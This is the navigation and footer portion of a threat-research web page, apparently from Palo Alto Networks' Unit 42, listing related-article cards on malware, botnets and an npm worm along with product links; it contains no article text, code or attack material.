* [Bitcoin](https://unit42.paloaltonetworks.com/tag/bitcoin/ "Bitcoin")

* [DLL hijacking](https://unit42.paloaltonetworks.com/tag/dll-hijacking/ "DLL hijacking")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-enabled-malware-analysis/ "The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution")  
  ![Pictorial representation of identity abuse through trusted communication channels. Close-up view of a digital screen displaying a glitched and pixelated image of a skull-like shape.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/02_Malware_Category_1920x900-2-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 20, 2026 [#### Identity Abuse Through Trusted Communication Channels](https://unit42.paloaltonetworks.com/communication-channel-identity-risks/)

* [Authentication](https://unit42.paloaltonetworks.com/tag/authentication/ "authentication")

* [Identity theft](https://unit42.paloaltonetworks.com/tag/identity-theft/ "identity theft")

* [Malware](https://unit42.paloaltonetworks.com/tag/malware/ "malware")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/communication-channel-identity-risks/ "Identity Abuse Through Trusted Communication Channels")  
  ![Pictorial representation of Kimwolf botnet malware family. Digital screen with a warning sign reading "Malware." The background features lines of computer code and graphics, creating a sense of cybersecurity threat.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/07_Malware_Category_1920x900-3-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 11, 2026 [#### Kimwolf v7: An Evolution of the Kimwolf Botnet](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/)

* [Android APK](https://unit42.paloaltonetworks.com/tag/android-apk/ "Android APK")

* [Ethereum](https://unit42.paloaltonetworks.com/tag/ethereum/ "Ethereum")

* [HTTP](https://unit42.paloaltonetworks.com/tag/http/ "HTTP")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/ "Kimwolf v7: An Evolution of the Kimwolf Botnet")  
  ![Pictorial representatiom pf Aeternum's blockchain C2. A close-up of a computer circuit board with a central microchip is depicted. Red digital data streams in the form of glowing binary numbers and arrows appear to flow in and out of the chip. The scene is illuminated with a futuristic blue and red glow.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/04_Malware_Category_1920x900-4-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 10, 2026 [#### The Permanent Threat: Analyzing Aeternum's Blockchain-Based C2 Operations and Communications](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/)

* [Aeternum](https://unit42.paloaltonetworks.com/tag/aeternum/ "Aeternum")

* [Infection chain](https://unit42.paloaltonetworks.com/tag/infection-chain/ "infection chain")

* [JSON](https://unit42.paloaltonetworks.com/tag/json/ "JSON")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/ "The Permanent Threat: Analyzing Aeternum’s Blockchain-Based C2 Operations and Communications")  
  ![Pictorial representation of ChainDrop, a self-propagating npm worm. An artistic depiction of a digital workspace featuring an open laptop with a red virus on the screen.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/03_Malware_Category_1920x900-7-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/) August 6, 2026 [#### ChainDrop: Inside a Self-Propagating npm Worm](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/)

* [Blockchain](https://unit42.paloaltonetworks.com/tag/blockchain/ "blockchain")

* [ChainDrop](https://unit42.paloaltonetworks.com/tag/chaindrop/ "ChainDrop")

* [Claude code](https://unit42.paloaltonetworks.com/tag/claude-code/ "Claude code")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/ "ChainDrop: Inside a Self-Propagating npm Worm")

* ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg)

* ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg)  
  ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ![Enlarged Image]()  
  ![Newsletter](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/unit42-footer-subscribe-desktop.png)  
  ![UNIT 42 Small Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/palo-alto-logo-small.svg) Get updates from Unit 42

## Peace of mind comes from staying ahead of threats. Subscribe today.

Your Email

Subscribe for email updates to all Unit 42 threat research.  
By submitting this form, you agree to our [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use "Terms of Use") and acknowledge our [Privacy Statement.](https://www.paloaltonetworks.com/legal-notices/privacy "Privacy Statement")

This site is protected by reCAPTCHA and the Google [Privacy Policy](https://policies.google.com/privacy) and [Terms of Service](https://policies.google.com/terms) apply.

Invalid captcha!
Subscribe ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg) ![loader](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-loader.svg)  
{#footer} Products and Services

* [AI-Powered Network Security Platform](https://www.paloaltonetworks.com/network-security)

* [Secure AI by Design](https://www.paloaltonetworks.com/ai-security)

* [Prisma AIRS](https://www.paloaltonetworks.com/ai-security/prisma-airs)

* [AI Access Security](https://www.paloaltonetworks.com/sase/ai-access-security)

* [Cloud Delivered Security Services](https://www.paloaltonetworks.com/network-security/security-subscriptions)

* [Advanced Threat Prevention](https://www.paloaltonetworks.com/network-security/advanced-threat-prevention)

* [Advanced URL Filtering](https://www.paloaltonetworks.com/network-security/advanced-url-filtering)

* [Advanced WildFire](https://www.paloaltonetworks.com/network-security/advanced-wildfire)

* [Advanced DNS Security](https://www.paloaltonetworks.com/network-security/advanced-dns-security)

* [Enterprise Data Loss Prevention](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention)

* [Enterprise IoT Security](https://www.paloaltonetworks.com/network-security/enterprise-device-security)

* [Medical IoT Security](https://www.paloaltonetworks.com/network-security/medical-device-security)

* [Industrial OT Security](https://www.paloaltonetworks.com/network-security/ot-security-solution)

* [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security)

* [Next-Generation Firewalls](https://www.paloaltonetworks.com/network-security/next-generation-firewall)

* [Hardware Firewalls](https://www.paloaltonetworks.com/network-security/hardware-firewall-innovations)

* [Software Firewalls](https://www.paloaltonetworks.com/network-security/software-firewalls)

* [Strata Cloud Manager](https://www.paloaltonetworks.com/network-security/strata-cloud-manager)

* [SD-WAN for NGFW](https://www.paloaltonetworks.com/network-security/sd-wan-subscription)

* [PAN-OS](https://www.paloaltonetworks.com/network-security/pan-os)

* [Panorama](https://www.paloaltonetworks.com/network-security/panorama)

* [Secure Access Service Edge](https://www.paloaltonetworks.com/sase)

* [Prisma SASE](https://www.paloaltonetworks.com/sase)

* [Application Acceleration](https://www.paloaltonetworks.com/sase/app-acceleration)

* [Autonomous Digital Experience Management](https://www.paloaltonetworks.com/sase/adem)

* [Enterprise DLP](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention)

* [Prisma Access](https://www.paloaltonetworks.com/sase/access)

* [Prisma Browser](https://www.paloaltonetworks.com/sase/prisma-browser)

* [Prisma SD-WAN](https://www.paloaltonetworks.com/sase/sd-wan)

* [Remote Browser Isolation](https://www.paloaltonetworks.com/sase/remote-browser-isolation)

* [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security)

* [AI-Driven Security Operations Platform](https://www.paloaltonetworks.com/cortex)

* [Cloud Security](https://www.paloaltonetworks.com/cortex/cloud)

* [Cortex Cloud](https://www.paloaltonetworks.com/cortex/cloud)

* [Application Security](https://www.paloaltonetworks.com/cortex/cloud/application-security)

* [Cloud Posture Security](https://www.paloaltonetworks.com/cortex/cloud/cloud-posture-security)

* [Cloud Runtime Security](https://www.paloaltonetworks.com/cortex/cloud/runtime-security)

* [Prisma Cloud](https://www.paloaltonetworks.com/prisma/cloud)

* [AI-Driven SOC](https://www.paloaltonetworks.com/cortex)

* [Cortex XSIAM](https://www.paloaltonetworks.com/cortex/cortex-xsiam)

* [Cortex XDR](https://www.paloaltonetworks.com/cortex/cortex-xdr)

* [Cortex XSOAR](https://www.paloaltonetworks.com/cortex/cortex-xsoar)

* [Cortex Xpanse](https://www.paloaltonetworks.com/cortex/cortex-xpanse)

* [Unit 42 Managed Detection \& Response](https://www.paloaltonetworks.com/content/pan/en_US/cortex/managed-detection-and-response)

* [Managed XSIAM](https://www.paloaltonetworks.com/cortex/managed-xsiam)

* [Next-Generation Identity Security](https://www.paloaltonetworks.com/idira)

* [Privileged Access Management](https://www.paloaltonetworks.com/idira/human/privileged-access-management)

* [Identity and Access Management](https://www.paloaltonetworks.com/idira/human/identity-and-access-management)

* [Endpoint Privilege Manager](https://www.paloaltonetworks.com/idira/human/endpoint-privilege-manager)

* [Identity Governance](https://www.paloaltonetworks.com/idira/human/identity-governance)

* [Workforce Password Management](https://www.paloaltonetworks.com/idira/human/workforce-password-management)

* [Agentic Identities](https://www.paloaltonetworks.com/idira/agentic)

* [Secrets Management](https://www.paloaltonetworks.com/idira/machine/secrets-management)

* [Unified Secrets Governance](https://www.paloaltonetworks.com/idira/machine/unified-secrets-governance)

* [Application Credentials Delivery](https://www.paloaltonetworks.com/idira/machine/application-credentials-delivery)

* [Vendor Privileged Access](https://www.paloaltonetworks.com/idira/human/vendor-privileged-access)

* [Threat Intel and Incident Response Services](https://www.paloaltonetworks.com/unit42)

* [Prepare for Emerging Risks](https://www.paloaltonetworks.com/unit42/frontier-ai-defense)

* [Strengthen Your Defenses](https://www.paloaltonetworks.com/unit42/strengthen-your-defenses)

* [Build Your Security Strategy](https://www.paloaltonetworks.com/unit42/build-your-security-strategy)

* [Understand the Adversary](https://www.paloaltonetworks.com/unit42/threat-intelligence)

* [Respond to a Cyber Attack](https://www.paloaltonetworks.com/unit42/respond)  
  Company

* [About Us](https://www.paloaltonetworks.com/about-us)

* [Careers](https://jobs.paloaltonetworks.com/en/)

* [Contact Us](https://www.paloaltonetworks.com/company/contact-sales)

* [Corporate Responsibility](https://www.paloaltonetworks.com/about-us/corporate-responsibility)

* [Customers](https://www.paloaltonetworks.com/customers)

* [Investor Relations](https://investors.paloaltonetworks.com/)

* [Location](https://www.paloaltonetworks.com/about-us/locations)

* [Newsroom](https://www.paloaltonetworks.com/company/newsroom)  
  Popular Links

* [Blog](https://www.paloaltonetworks.com/blog/)

* [Communities](https://www.paloaltonetworks.com/communities)

* [Content Library](https://www.paloaltonetworks.com/resources)

* [Cyberpedia](https://www.paloaltonetworks.com/cyberpedia)

* [Event Center](https://events.paloaltonetworks.com/)

* [Manage Email Preferences](https://start.paloaltonetworks.com/preference-center)

* [Products A-Z](https://www.paloaltonetworks.com/products/products-a-z)

* [Product Certifications](https://www.paloaltonetworks.com/legal-notices/trust-center/certifications)

* [Report a Vulnerability](https://www.paloaltonetworks.com/security-disclosure)

* [Sitemap](https://www.paloaltonetworks.com/sitemap)

* [Tech Docs](https://docs.paloaltonetworks.com/)

* [Unit 42](https://unit42.paloaltonetworks.com/)

* [Do Not Sell or Share My Personal Information](https://panwedd.exterro.net/portal/dsar.htm?target=panwedd)
  ![Palo Alto Networks Logo](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/pan-logo-dark.svg)

* [Privacy](https://www.paloaltonetworks.com/legal-notices/privacy)

* [Trust Center](https://www.paloaltonetworks.com/legal-notices/trust-center)

* [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use)

* [Documents](https://www.paloaltonetworks.com/legal)

Copyright © 2026 Palo Alto Networks. All Rights Reserved

* [![Youtube](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/youtube-black.svg)](https://www.youtube.com/user/paloaltonetworks)
* [![Podcast](https://www.paloaltonetworks.com/content/dam/pan/en_US/images/icons/podcast.svg)](https://www.paloaltonetworks.com/podcasts/threat-vector)
* [![Facebook](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/facebook-black.svg)](https://www.facebook.com/PaloAltoNetworks/)
* [![LinkedIn](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/linkedin-black.svg)](https://www.linkedin.com/company/palo-alto-networks)
* [![Twitter](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/twitter-x-black.svg)](https://twitter.com/PaloAltoNtwks)
* EN  
  Select your language  
  ![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg) ![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg)

### Default Heading

Read the article ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg)  
Seekbar

![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg)  
![Volume](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-volume.svg)  
Volume
![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg)